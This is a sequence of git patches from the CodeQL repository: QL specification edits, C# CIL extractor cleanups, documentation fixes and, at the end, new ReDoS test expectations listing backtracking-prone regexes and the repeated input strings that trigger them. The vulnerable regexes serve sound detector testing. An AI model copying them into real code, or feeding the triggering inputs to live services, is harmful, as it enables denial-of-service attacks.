values are exactly the tuple prefixes of the call. If the call instead resolves to a member predicate, then the tuple prefixes additionally include a receiver value, ordered before the argument values. From 67c2006eb07445c59533aca34fc38a76dbeaffa1 Mon Sep 17 00:00:00 2001 From: alexet <alexet@semmle.com> Date: Tue, 5 Jan 2021 12:31:46 +0000 Subject: [PATCH 0416/1241] QLSpec: Adjust wierd wording --- docs/codeql/ql-language-reference/ql-language-specification.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/codeql/ql-language-reference/ql-language-specification.rst b/docs/codeql/ql-language-reference/ql-language-specification.rst index 70e371824ce..70051caa3ce 100644 --- a/docs/codeql/ql-language-reference/ql-language-specification.rst +++ b/docs/codeql/ql-language-reference/ql-language-specification.rst @@ -1221,7 +1221,7 @@ An aggregation can be written in one of two forms: aggorderby ::= expr ("asc" | "desc")? -The expression enclosed in square brackets (``[`` and ``]``, U+005B and U+005D), if present, is called the *rank expression*. It must have type ``int`` in the enclosing environment. +The expression enclosed in square brackets (``[`` and ``]``, U+005B and U+005D), if present, is called the *rank expression*. It must have type ``int``. The ``as_exprs``, if present, are called the *aggregation expressions*. If an aggregation expression is of the form ``expr as v`` then the expression is said to be *named* v. From ebb253e4093bae098b18ecbfb6132bae89dce14c Mon Sep 17 00:00:00 2001 From: alexet <alexet@semmle.com> Date: Tue, 5 Jan 2021 12:52:22 +0000 Subject: [PATCH 0417/1241] QLSpec: Fix typo --- docs/codeql/ql-language-reference/ql-language-specification.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/codeql/ql-language-reference/ql-language-specification.rst b/docs/codeql/ql-language-reference/ql-language-specification.rst index 70051caa3ce..4904b52879d 100644 --- a/docs/codeql/ql-language-reference/ql-language-specification.rst +++ b/docs/codeql/ql-language-reference/ql-language-specification.rst @@ -776,7 +776,7 @@ If no qldoc is provided then in may be inherited. In the case of an alias then it may be inherited from the right-hand-side of the alias. In the case of a member predicate we collect all member predicates that it overrides with declared QLDoc. Then if there is a member predicate in that collection that -that overrides every other member predicate in that collection then the QLDoc of that field is used as the QLDoc. +that overrides every other member predicate in that collection then the QLDoc of that member predicate is used as the QLDoc. In the case of a field we collect all fields that it overrides with declared QLDoc. Then if there is a field in that collection that that overrides every other field in that collection then its QLDoc of that field used as the QLDoc. From 12c28547fc882b036f9cdd549a11a2ff4fdbe35f Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Tue, 5 Jan 2021 15:15:13 +0100 Subject: [PATCH 0418/1241] Fix code review findings --- .../2020-12-18-extract-custom-modifiers.md | 2 +- .../Semmle.Extraction.CIL/Entities/ModifiedType.cs | 13 +++---------- .../src/semmle/code/cil/CustomModifierReceiver.qll | 10 +--------- csharp/ql/src/semmle/code/cil/Method.qll | 2 +- .../cil/init-only-prop/customModifiers.ql | 2 +- 5 files changed, 7 insertions(+), 22 deletions(-) diff --git a/csharp/change-notes/2020-12-18-extract-custom-modifiers.md b/csharp/change-notes/2020-12-18-extract-custom-modifiers.md index 5ae4dd2f829..92f141e041e 100644 --- a/csharp/change-notes/2020-12-18-extract-custom-modifiers.md +++ b/csharp/change-notes/2020-12-18-extract-custom-modifiers.md @@ -1,4 +1,4 @@ lgtm,codescanning * CIL extraction has been improved to store `modreq` and `modopt` custom modifiers. The extracted information is surfaced through the `CustomModifierReceiver` class. Additionally, -the information is also used to evaluate the new `Setter.isInitOnly` predicate. \ No newline at end of file +the information is also used to evaluate the new `Setter::isInitOnly` predicate. \ No newline at end of file diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/ModifiedType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/ModifiedType.cs index 61262ef33ab..c794ed812a5 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/ModifiedType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/ModifiedType.cs @@ -33,17 +33,10 @@ namespace Semmle.Extraction.CIL.Entities public override Type Construct(IEnumerable<Type> typeArguments) => throw new NotImplementedException(); - public override string Name => Unmodified.Name + (IsRequired ? " modreq" : " modopt") + $"({Modifier.Name})"; + public override string Name => $"{Unmodified.Name} {(IsRequired ? "modreq" : "modopt")}({Modifier.Name})"; - public override void WriteAssemblyPrefix(TextWriter trapFile) => Unmodified.WriteAssemblyPrefix(trapFile); + public override void WriteAssemblyPrefix(TextWriter trapFile) => throw new NotImplementedException(); - public override void WriteId(TextWriter trapFile, bool inContext) - { - Unmodified.WriteId(trapFile, inContext); - trapFile.Write(IsRequired ? " modreq" : " modopt"); - trapFile.Write("("); - Modifier.WriteId(trapFile, inContext); - trapFile.Write(")"); - } + public override void WriteId(TextWriter trapFile, bool inContext) => throw new NotImplementedException(); } } diff --git a/csharp/ql/src/semmle/code/cil/CustomModifierReceiver.qll b/csharp/ql/src/semmle/code/cil/CustomModifierReceiver.qll index c6dd276bbf9..40e121416c7 100644 --- a/csharp/ql/src/semmle/code/cil/CustomModifierReceiver.qll +++ b/csharp/ql/src/semmle/code/cil/CustomModifierReceiver.qll @@ -6,7 +6,7 @@ private import CIL private import dotnet /** - * A class to represent entities that can recive custom modifiers. Custom modifiers can be attached to + * A class to represent entities that can receive custom modifiers. Custom modifiers can be attached to * - the type of a `Field`, * - the return type of a `Method` or `Property`, * - the type of parameters. @@ -18,12 +18,4 @@ class CustomModifierReceiver extends Declaration, @cil_custom_modifier_receiver /** Holds if this targeted type has `modifier` applied as `modopt`. */ predicate hasOptionalCustomModifier(Type modifier) { cil_custom_modifiers(this, modifier, 0) } - - /** - * Holds if this targeted type has `modifier` applied as `kind`. `kind` 1 means `modreq`, - * `kind` 0 represents `modopt`. - */ - predicate hasCustomModifier(Type modifier, int kind) { - cil_custom_modifiers(this, modifier, kind) - } } diff --git a/csharp/ql/src/semmle/code/cil/Method.qll b/csharp/ql/src/semmle/code/cil/Method.qll index 9ceb108157f..36fdae94c3c 100644 --- a/csharp/ql/src/semmle/code/cil/Method.qll +++ b/csharp/ql/src/semmle/code/cil/Method.qll @@ -251,7 +251,7 @@ class Setter extends Accessor { /** Holds if this setter is an `init` accessor. */ predicate isInitOnly() { exists(Type t | t.getQualifiedName() = "System.Runtime.CompilerServices.IsExternalInit" | - cil_custom_modifiers(this, t, 1) + this.hasRequiredCustomModifier(t) ) } } diff --git a/csharp/ql/test/library-tests/cil/init-only-prop/customModifiers.ql b/csharp/ql/test/library-tests/cil/init-only-prop/customModifiers.ql index 7b60eb6ca3d..3366bef35ce 100644 --- a/csharp/ql/test/library-tests/cil/init-only-prop/customModifiers.ql +++ b/csharp/ql/test/library-tests/cil/init-only-prop/customModifiers.ql @@ -7,7 +7,7 @@ from string receiver, string modifier, int kind where exists(Type modType, CustomModifierReceiver cmr | receiver = cmr.toString() and - cmr.hasCustomModifier(modType, kind) and + cil_custom_modifiers(cmr, modType, kind) and modType.getQualifiedName() = modifier ) select receiver, modifier, getKind(kind) From 5d84ecc7f399bb22a78cdac45f72dd586b004089 Mon Sep 17 00:00:00 2001 From: alexet <alexet@semmle.com> Date: Tue, 5 Jan 2021 14:49:02 +0000 Subject: [PATCH 0419/1241] QLSpecification: Fix handling of fields to handle overriding properly. --- .../ql-language-specification.rst | 26 +++++++++++++------ 1 file changed, 18 insertions(+), 8 deletions(-) diff --git a/docs/codeql/ql-language-reference/ql-language-specification.rst b/docs/codeql/ql-language-reference/ql-language-specification.rst index 4904b52879d..1ad1a5473c4 100644 --- a/docs/codeql/ql-language-reference/ql-language-specification.rst +++ b/docs/codeql/ql-language-reference/ql-language-specification.rst @@ -1948,11 +1948,17 @@ The store is first initialized with the *database content* of all built-in predi Each layer of the stratification is *populated* in order. To populate a layer, each predicate in the layer is repeatedly populated until the store stops changing. The way that a predicate is populated is as follows: -- To populate a predicate that has a formula as a body, find all named tuples with the variables of the predicate's arguments that match the body formula and the types of the variables. If the predicate has a result, then the matching named tuples should additionally have a value for ``result`` that is in the result type of the predicate. - If the predicate is a member predicate of a class ``C`` and not a characteristic predicate, then the tuples should additionally have a value for ``this`` and fields that match some tuple in ``C.class``. - If the predicate is a characteristic predicate of a class ``C``, then the tuples should additionally have a value for ``this`` and fields that match some tuple in ``C.extends`` and each - declared field ``f`` with type ``B`` the value of ``f`` is a member of ``B.class``. - For each such tuple remove any components that have the same name as a field on the declaring type and add it to the predicate in the store. +- To populate a predicate that has a formula as a body, find all named tuples with identify each named tuple ``t`` that has the following properties: + - The tuple matches the body formula. + - The variables should be the predicate's arguments. + - If the predicate has a result, then the tuples should additionally have a value for ``result`` + - If the predicate is a member predicate or characteristic predicate of a class ``C`` then the tuples should additionally have a value for ``this`` and each visible field on the class. + - The values corresponding to the arguments should all be a member of the declared types of the arguments. + - The values corresponding to ``result`` should all be a member of the result type. + - The values corresponding to the fields should all be a member of the declared types of the fields. + - If the predicate is a member predicate of a class ``C`` and not a characteristic predicate, then the tuples should additionally extend some tuple in ``C.class``. + - If the predicate is a characteristic predicate of a class ``C``, then there should be a tuple ``t'``in ``C.extends`` such that for each visible field in ``C`` any field that is equal to or overrides a field in that ``t'`` should have the same value in ``t``. ``this`` should also map to the same value in ``t`` and ``t``. + For each such tuple remove any components that correspond to fields and add it to the predicate in the store. - To populate an abstract predicate, do nothing. @@ -1960,17 +1966,21 @@ Each layer of the stratification is *populated* in order. To populate a layer, e - To populate the type ``C.extends`` for a class ``C``, identify each named tuple that has the following properties: - The value of ``this`` is in all non-class base types of ``C``. - - For each class base type ``B`` of ``C`` the projection of the tuple onto fields the public fields of ``B`` is the projection of a tuple in ``B.B`` onto the public fields of ``B``. + - The keys of the tuple are ``this`` and the union of the public fields from each base type. + - For each class base type ``B`` of ``C`` there is a named tuple with with variables from the public fields of ``B`` and ``this`` that is the given tuple and some tuple in ``B.B`` both extend. For each such tuple add it to ``C.extends``. - To populate the type ``C.C`` for a class ``C``, if ``C`` has a characteristic predicate, then add all tuples from that predicate to the store. - Otherwise add all tuples into the store that it satisfy ``C.extends`` and for each declared field ``f`` with type ``B`` the value of ``f`` is a member of ``B.class`` + Otherwise add all tuples ``t`` such that: + - The variables of ``t`` should be ``this`` and the visible fields of ``C``. + - The values corresponding to the fields should all be a member of the declared types of the fields. + - If the predicate is a characteristic predicate of a class ``C``, then there should be a tuple ``t'``in ``C.extends`` such that for each visible field in ``C`` any field that is equal to or overrides a field in that ``t'`` should have the same value in ``t``. ``this`` should also map to the same value in ``t`` and ``t``. - To populate the type ``C.class`` for a non-abstract class type ``C``, add each tuple in ``C.C`` to ``C.class``. - To populate the type ``C.class`` for an abstract class type ``C``, identify each named tuple that has the following properties: - It is a member of ``C.C`` - - For each class ``D`` that has ``C`` as a base type then the projection of the tuple to the public ``D.class``. + - For each class ``D`` that has ``C`` as a base type then there is a named tuple with variables from the public fields of ``C`` and ``this`` that the given tuple and a tuple in ``D.class`` both extend. Query evaluation From 0bd8c55510d9c1129b33679fffc4ea980e3cc609 Mon Sep 17 00:00:00 2001 From: alexet <alexet@semmle.com> Date: Tue, 5 Jan 2021 15:10:59 +0000 Subject: [PATCH 0420/1241] Docs: Remove qldoc from the TOC as it no longer exists --- docs/codeql/ql-language-reference/index.rst | 3 --- 1 file changed, 3 deletions(-) diff --git a/docs/codeql/ql-language-reference/index.rst b/docs/codeql/ql-language-reference/index.rst index 55b992ea713..5a971259cf7 100644 --- a/docs/codeql/ql-language-reference/index.rst +++ b/docs/codeql/ql-language-reference/index.rst @@ -35,8 +35,6 @@ Learn all about QL, the powerful query language that underlies the code scanning - :doc:`QL language specification <ql-language-specification>`: A formal specification for the QL language. It provides a comprehensive reference for terminology, syntax, and other technical details about QL. -- :doc:`QLDoc comment specification <qldoc-comment-specification>`: A formal specification for QLDoc comments. - .. toctree:: :maxdepth: 1 :hidden: @@ -56,4 +54,3 @@ Learn all about QL, the powerful query language that underlies the code scanning name-resolution evaluation-of-ql-programs ql-language-specification - qldoc-comment-specification From 11e2bc3b7872df07f8f94c212f8d2a6cb8944f01 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Tue, 5 Jan 2021 16:21:24 +0100 Subject: [PATCH 0421/1241] Respond to review comments. --- docs/pre-commit-hook-setup.md | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/docs/pre-commit-hook-setup.md b/docs/pre-commit-hook-setup.md index d0c7fa5d1d3..f1de334f35c 100644 --- a/docs/pre-commit-hook-setup.md +++ b/docs/pre-commit-hook-setup.md @@ -1,13 +1,16 @@ # CodeQL pre-commit-hook setup -As stated in [CONTRIBUTING](../CONTRIBUTING.md) all CodeQL files must be formatted according to our [CodeQL style guide](ql-style-guide.md). You can use our pre-commit hook to avoid committing incorrectly formatted code. To use it, simply copy the [pre-commit](../misc/scripts/pre-commit) script to `.git/modules/ql/hooks/pre-commit` and make sure that it is executable. +As stated in [CONTRIBUTING](../CONTRIBUTING.md) all CodeQL files must be formatted according to our [CodeQL style guide](ql-style-guide.md). You can use our pre-commit hook to avoid committing incorrectly formatted code. To use it, simply copy the [pre-commit](../misc/scripts/pre-commit) script to `.git/modules/ql/hooks/pre-commit` and make sure that: + +- The script is executable. On Linux and macOS this can be done using `chmod +x`. +- The CodeQL CLI has in added to your `PATH`. The script will abort a commit that contains incorrectly formatted code in .ql or .qll files and print an error message like: ``` > git commit -m "My commit." -code/ql/cpp/ql/src/Options.qll would change by autoformatting. -code/ql/cpp/ql/src/printAst.ql would change by autoformatting. +ql/cpp/ql/src/Options.qll would change by autoformatting. +ql/cpp/ql/src/printAst.ql would change by autoformatting. ``` If you prefer to have the script automatically format the code (and not abort the commit), you can replace the line `codeql query format --check-only` with `codeql query format --in-place` (and `exit $exitVal` with `exit 0`). From ae388ec7969d08560c9704d1d84d35d6f1a5ac2c Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Tue, 5 Jan 2021 16:27:53 +0100 Subject: [PATCH 0422/1241] Update docs/pre-commit-hook-setup.md Co-authored-by: Cornelius Riemenschneider <criemen@github.com> --- docs/pre-commit-hook-setup.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/pre-commit-hook-setup.md b/docs/pre-commit-hook-setup.md index f1de334f35c..3bc1f2606f1 100644 --- a/docs/pre-commit-hook-setup.md +++ b/docs/pre-commit-hook-setup.md @@ -3,7 +3,7 @@ As stated in [CONTRIBUTING](../CONTRIBUTING.md) all CodeQL files must be formatted according to our [CodeQL style guide](ql-style-guide.md). You can use our pre-commit hook to avoid committing incorrectly formatted code. To use it, simply copy the [pre-commit](../misc/scripts/pre-commit) script to `.git/modules/ql/hooks/pre-commit` and make sure that: - The script is executable. On Linux and macOS this can be done using `chmod +x`. -- The CodeQL CLI has in added to your `PATH`. +- The CodeQL CLI has been added to your `PATH`. The script will abort a commit that contains incorrectly formatted code in .ql or .qll files and print an error message like: From 1c0e94984c5a85873bf160b9d5e170b7a2c326f5 Mon Sep 17 00:00:00 2001 From: Shati Patel <42641846+shati-patel@users.noreply.github.com> Date: Tue, 5 Jan 2021 15:50:54 +0000 Subject: [PATCH 0423/1241] Update docs/codeql/codeql-cli/query-reference-files.rst --- docs/codeql/codeql-cli/query-reference-files.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/codeql/codeql-cli/query-reference-files.rst b/docs/codeql/codeql-cli/query-reference-files.rst index f148405e557..f19996aae29 100644 --- a/docs/codeql/codeql-cli/query-reference-files.rst +++ b/docs/codeql/codeql-cli/query-reference-files.rst @@ -44,4 +44,4 @@ to the ``codeql-javascript`` QL pack:: AngularJS/DeadAngularJSEventListener.ql -For another example, see `Testing custom queries <testing-custom-queries>`__. +For another example, see :doc:`Testing custom queries <testing-custom-queries>`. From f18486aa60f0d8bd0fff8c46dcd7518ec3431273 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Tue, 5 Jan 2021 17:00:23 +0100 Subject: [PATCH 0424/1241] Update docs/pre-commit-hook-setup.md Co-authored-by: Jonas Jensen <jbj@github.com> --- docs/pre-commit-hook-setup.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/pre-commit-hook-setup.md b/docs/pre-commit-hook-setup.md index 3bc1f2606f1..9927acba85c 100644 --- a/docs/pre-commit-hook-setup.md +++ b/docs/pre-commit-hook-setup.md @@ -1,6 +1,6 @@ # CodeQL pre-commit-hook setup -As stated in [CONTRIBUTING](../CONTRIBUTING.md) all CodeQL files must be formatted according to our [CodeQL style guide](ql-style-guide.md). You can use our pre-commit hook to avoid committing incorrectly formatted code. To use it, simply copy the [pre-commit](../misc/scripts/pre-commit) script to `.git/modules/ql/hooks/pre-commit` and make sure that: +As stated in [CONTRIBUTING](../CONTRIBUTING.md) all CodeQL files must be formatted according to our [CodeQL style guide](ql-style-guide.md). You can use our pre-commit hook to avoid committing incorrectly formatted code. To use it, simply copy the [pre-commit](../misc/scripts/pre-commit) script to `.git/hooks/pre-commit` and make sure that: - The script is executable. On Linux and macOS this can be done using `chmod +x`. - The CodeQL CLI has been added to your `PATH`. From ad07072478902159d99a966c454104bd1ee478cf Mon Sep 17 00:00:00 2001 From: Shati Patel <42641846+shati-patel@users.noreply.github.com> Date: Tue, 5 Jan 2021 19:13:28 +0000 Subject: [PATCH 0425/1241] clarify highlight_language conf option --- docs/codeql/conf.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/docs/codeql/conf.py b/docs/codeql/conf.py index f0d6f8c5ae0..68d0a012610 100644 --- a/docs/codeql/conf.py +++ b/docs/codeql/conf.py @@ -39,7 +39,9 @@ source_encoding = 'utf-8-sig' # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' -# The default language for syntax highlighting, defaults to Python if omitted. +# The default language for syntax highlighting. We need to explicitly set this to "none", +# otherwise Sphinx tries to highlight any unlabeled code samples as "python3". +# See https://www.sphinx-doc.org/en/master/usage/configuration.html#confval-highlight_language. highlight_language = "none" From b42aac17d505dd4198c1a53faf6438f431d80842 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Fri, 4 Dec 2020 20:56:49 +0100 Subject: [PATCH 0426/1241] add more tests for js/ReDoS --- .../ReDoS/PolynomialBackTracking.expected | 33 ++++++++++++++++ .../Performance/ReDoS/ReDoS.expected | 16 ++++++++ .../Performance/ReDoS/highlight.js | 39 +++++++++++++++++++ .../test/query-tests/Performance/ReDoS/tst.js | 19 ++++++++- 4 files changed, 105 insertions(+), 2 deletions(-) create mode 100644 javascript/ql/test/query-tests/Performance/ReDoS/highlight.js diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected index 36a832b857e..ee861fb16d8 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected @@ -1,3 +1,29 @@ +| highlight.js:2:26:2:979 | ((traffic-flow\|traffic-generator\|firewall\|scheduler\|aaa\|accounting\|address-list\|address\|align\|area\|bandwidth-server\|bfd\|bgp\|bridge\|client\|clock\|community\|config\|connection\|console\|customer\|default\|dhcp-client\|dhcp-server\|discovery\|dns\|e-mail\|ethernet\|filter\|firewall\|firmware\|gps\|graphing\|group\|hardware\|health\|hotspot\|identity\|igmp-proxy\|incoming\|instance\|interface\|ip\|ipsec\|ipv6\|irq\|l2tp-server\|lcd\|ldp\|logging\|mac-server\|mac-winbox\|mangle\|manual\|mirror\|mme\|mpls\|nat\|nd\|neighbor\|network\|note\|ntp\|ospf\|ospf-v3\|ovpn-server\|page\|peer\|pim\|ping\|policy\|pool\|port\|ppp\|pppoe-client\|pptp-server\|prefix\|profile\|proposal\|proxy\|queue\|radius\|resource\|rip\|ripng\|route\|routing\|screen\|script\|security-profiles\|server\|service\|service-port\|settings\|shares\|smb\|sms\|sniffer\|snmp\|snooper\|socks\|sstp-server\|system\|tool\|tracking\|type\|upgrade\|upnp\|user-manager\|users\|user\|vlan\|secret\|vrrp\|watchdog\|web-access\|wireless\|pptp\|pppoe\|lan\|wan\|layer7-protocol\|lease\|simple\|raw);?\\s)+ | Strings starting with '/' and with many repetitions of 'ip ' can start matching anywhere after the start of the preceeding (\\.\\.\\/\|\\/\|\\s)((traffic-flow\|traffic-generator\|firewall\|scheduler\|aaa\|accounting\|address-list\|address\|align\|area\|bandwidth-server\|bfd\|bgp\|bridge\|client\|clock\|community\|config\|connection\|console\|customer\|default\|dhcp-client\|dhcp-server\|discovery\|dns\|e-mail\|ethernet\|filter\|firewall\|firmware\|gps\|graphing\|group\|hardware\|health\|hotspot\|identity\|igmp-proxy\|incoming\|instance\|interface\|ip\|ipsec\|ipv6\|irq\|l2tp-server\|lcd\|ldp\|logging\|mac-server\|mac-winbox\|mangle\|manual\|mirror\|mme\|mpls\|nat\|nd\|neighbor\|network\|note\|ntp\|ospf\|ospf-v3\|ovpn-server\|page\|peer\|pim\|ping\|policy\|pool\|port\|ppp\|pppoe-client\|pptp-server\|prefix\|profile\|proposal\|proxy\|queue\|radius\|resource\|rip\|ripng\|route\|routing\|screen\|script\|security-profiles\|server\|service\|service-port\|settings\|shares\|smb\|sms\|sniffer\|snmp\|snooper\|socks\|sstp-server\|system\|tool\|tracking\|type\|upgrade\|upnp\|user-manager\|users\|user\|vlan\|secret\|vrrp\|watchdog\|web-access\|wireless\|pptp\|pppoe\|lan\|wan\|layer7-protocol\|lease\|simple\|raw);?\\s)+X | +| highlight.js:3:27:3:971 | ((traffic-flow\|traffic-generator\|firewall\|scheduler\|aaa\|accounting\|address-list\|address\|align\|area\|bandwidth-server\|bfd\|bgp\|bridge\|client\|clock\|community\|config\|connection\|console\|customer\|default\|dhcp-client\|dhcp-server\|discovery\|dns\|e-mail\|ethernet\|filter\|firmware\|gps\|graphing\|group\|hardware\|health\|hotspot\|identity\|igmp-proxy\|incoming\|instance\|interface\|ip\|ipsec\|ipv6\|irq\|l2tp-server\|lcd\|ldp\|logging\|mac-server\|mac-winbox\|mangle\|manual\|mirror\|mme\|mpls\|nat\|nd\|neighbor\|network\|note\|ntp\|ospf\|ospf-v3\|ovpn-server\|page\|peer\|pim\|ping\|policy\|pool\|port\|ppp\|pppoe-client\|pptp-server\|prefix\|profile\|proposal\|proxy\|queue\|radius\|resource\|rip\|ripng\|route\|routing\|screen\|script\|security-profiles\|server\|service\|service-port\|settings\|shares\|smb\|sms\|sniffer\|snmp\|snooper\|socks\|sstp-server\|system\|tool\|tracking\|type\|upgrade\|upnp\|user-manager\|users\|user\|vlan\|secret\|vrrp\|watchdog\|web-access\|wireless\|pptp\|pppoe\|lan\|wan\|layer7-protocol\|lease\|simple\|raw);?\\s)+ | Strings starting with '/' and with many repetitions of 'ip ' can start matching anywhere after the start of the preceeding (\\.\\.\\/\|\\/\|\\s)((traffic-flow\|traffic-generator\|firewall\|scheduler\|aaa\|accounting\|address-list\|address\|align\|area\|bandwidth-server\|bfd\|bgp\|bridge\|client\|clock\|community\|config\|connection\|console\|customer\|default\|dhcp-client\|dhcp-server\|discovery\|dns\|e-mail\|ethernet\|filter\|firmware\|gps\|graphing\|group\|hardware\|health\|hotspot\|identity\|igmp-proxy\|incoming\|instance\|interface\|ip\|ipsec\|ipv6\|irq\|l2tp-server\|lcd\|ldp\|logging\|mac-server\|mac-winbox\|mangle\|manual\|mirror\|mme\|mpls\|nat\|nd\|neighbor\|network\|note\|ntp\|ospf\|ospf-v3\|ovpn-server\|page\|peer\|pim\|ping\|policy\|pool\|port\|ppp\|pppoe-client\|pptp-server\|prefix\|profile\|proposal\|proxy\|queue\|radius\|resource\|rip\|ripng\|route\|routing\|screen\|script\|security-profiles\|server\|service\|service-port\|settings\|shares\|smb\|sms\|sniffer\|snmp\|snooper\|socks\|sstp-server\|system\|tool\|tracking\|type\|upgrade\|upnp\|user-manager\|users\|user\|vlan\|secret\|vrrp\|watchdog\|web-access\|wireless\|pptp\|pppoe\|lan\|wan\|layer7-protocol\|lease\|simple\|raw);?\\s)+X | +| highlight.js:6:12:6:695 | (Add\|Clear\|Close\|Copy\|Enter\|Exit\|Find\|Format\|Get\|Hide\|Join\|Lock\|Move\|New\|Open\|Optimize\|Pop\|Push\|Redo\|Remove\|Rename\|Reset\|Resize\|Search\|Select\|Set\|Show\|Skip\|Split\|Step\|Switch\|Undo\|Unlock\|Watch\|Backup\|Checkpoint\|Compare\|Compress\|Convert\|ConvertFrom\|ConvertTo\|Dismount\|Edit\|Expand\|Export\|Group\|Import\|Initialize\|Limit\|Merge\|New\|Out\|Publish\|Restore\|Save\|Sync\|Unpublish\|Update\|Approve\|Assert\|Complete\|Confirm\|Deny\|Disable\|Enable\|Install\|Invoke\|Register\|Request\|Restart\|Resume\|Start\|Stop\|Submit\|Suspend\|Uninstall\|Unregister\|Wait\|Debug\|Measure\|Ping\|Repair\|Resolve\|Test\|Trace\|Connect\|Disconnect\|Read\|Receive\|Send\|Write\|Block\|Grant\|Protect\|Revoke\|Unblock\|Unprotect\|Use\|ForEach\|Sort\|Tee\|Where)+ | Strings with many repetitions of 'Add' can start matching anywhere after the start of the preceeding (Add\|Clear\|Close\|Copy\|Enter\|Exit\|Find\|Format\|Get\|Hide\|Join\|Lock\|Move\|New\|Open\|Optimize\|Pop\|Push\|Redo\|Remove\|Rename\|Reset\|Resize\|Search\|Select\|Set\|Show\|Skip\|Split\|Step\|Switch\|Undo\|Unlock\|Watch\|Backup\|Checkpoint\|Compare\|Compress\|Convert\|ConvertFrom\|ConvertTo\|Dismount\|Edit\|Expand\|Export\|Group\|Import\|Initialize\|Limit\|Merge\|New\|Out\|Publish\|Restore\|Save\|Sync\|Unpublish\|Update\|Approve\|Assert\|Complete\|Confirm\|Deny\|Disable\|Enable\|Install\|Invoke\|Register\|Request\|Restart\|Resume\|Start\|Stop\|Submit\|Suspend\|Uninstall\|Unregister\|Wait\|Debug\|Measure\|Ping\|Repair\|Resolve\|Test\|Trace\|Connect\|Disconnect\|Read\|Receive\|Send\|Write\|Block\|Grant\|Protect\|Revoke\|Unblock\|Unprotect\|Use\|ForEach\|Sort\|Tee\|Where)+(-)[\\w\\d]+ | +| highlight.js:7:13:7:692 | (Add\|Clear\|Close\|Copy\|Enter\|Exit\|Find\|Format\|Get\|Hide\|Join\|Lock\|Move\|New\|Open\|Optimize\|Pop\|Push\|Redo\|Remove\|Rename\|Reset\|Resize\|Search\|Select\|Set\|Show\|Skip\|Split\|Step\|Switch\|Undo\|Unlock\|Watch\|Backup\|Checkpoint\|Compare\|Compress\|Convert\|ConvertFrom\|ConvertTo\|Dismount\|Edit\|Expand\|Export\|Group\|Import\|Initialize\|Limit\|Merge\|Out\|Publish\|Restore\|Save\|Sync\|Unpublish\|Update\|Approve\|Assert\|Complete\|Confirm\|Deny\|Disable\|Enable\|Install\|Invoke\|Register\|Request\|Restart\|Resume\|Start\|Stop\|Submit\|Suspend\|Uninstall\|Unregister\|Wait\|Debug\|Measure\|Ping\|Repair\|Resolve\|Test\|Trace\|Connect\|Disconnect\|Read\|Receive\|Send\|Write\|Block\|Grant\|Protect\|Revoke\|Unblock\|Unprotect\|Use\|ForEach\|Sort\|Tee\|Where)+ | Strings with many repetitions of 'Add' can start matching anywhere after the start of the preceeding (Add\|Clear\|Close\|Copy\|Enter\|Exit\|Find\|Format\|Get\|Hide\|Join\|Lock\|Move\|New\|Open\|Optimize\|Pop\|Push\|Redo\|Remove\|Rename\|Reset\|Resize\|Search\|Select\|Set\|Show\|Skip\|Split\|Step\|Switch\|Undo\|Unlock\|Watch\|Backup\|Checkpoint\|Compare\|Compress\|Convert\|ConvertFrom\|ConvertTo\|Dismount\|Edit\|Expand\|Export\|Group\|Import\|Initialize\|Limit\|Merge\|Out\|Publish\|Restore\|Save\|Sync\|Unpublish\|Update\|Approve\|Assert\|Complete\|Confirm\|Deny\|Disable\|Enable\|Install\|Invoke\|Register\|Request\|Restart\|Resume\|Start\|Stop\|Submit\|Suspend\|Uninstall\|Unregister\|Wait\|Debug\|Measure\|Ping\|Repair\|Resolve\|Test\|Trace\|Connect\|Disconnect\|Read\|Receive\|Send\|Write\|Block\|Grant\|Protect\|Revoke\|Unblock\|Unprotect\|Use\|ForEach\|Sort\|Tee\|Where)+(-)[\\w\\d]+ | +| highlight.js:14:17:14:52 | [a-z0-9&#*=?@\\\\><:,()$[\\]_.{}!+%^-]+ | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding ([ ]*[a-z0-9&#*=?@\\\\><:,()$[\\]_.{}!+%^-]+)+ | +| highlight.js:18:14:18:16 | .*? | Strings starting with ''' and with many repetitions of ''' can start matching anywhere after the start of the preceeding ('.*?'\|".*?"\|\\[.*?\\]\|[^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+\|\\.\|\\/)+ | +| highlight.js:18:20:18:22 | .*? | Strings starting with '"' and with many repetitions of '"' can start matching anywhere after the start of the preceeding ('.*?'\|".*?"\|\\[.*?\\]\|[^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+\|\\.\|\\/)+ | +| highlight.js:18:27:18:29 | .*? | Strings starting with '[' and with many repetitions of '[' can start matching anywhere after the start of the preceeding ('.*?'\|".*?"\|\\[.*?\\]\|[^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+\|\\.\|\\/)+ | +| highlight.js:18:33:18:69 | [^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+ | Strings with many repetitions of '$' can start matching anywhere after the start of the preceeding 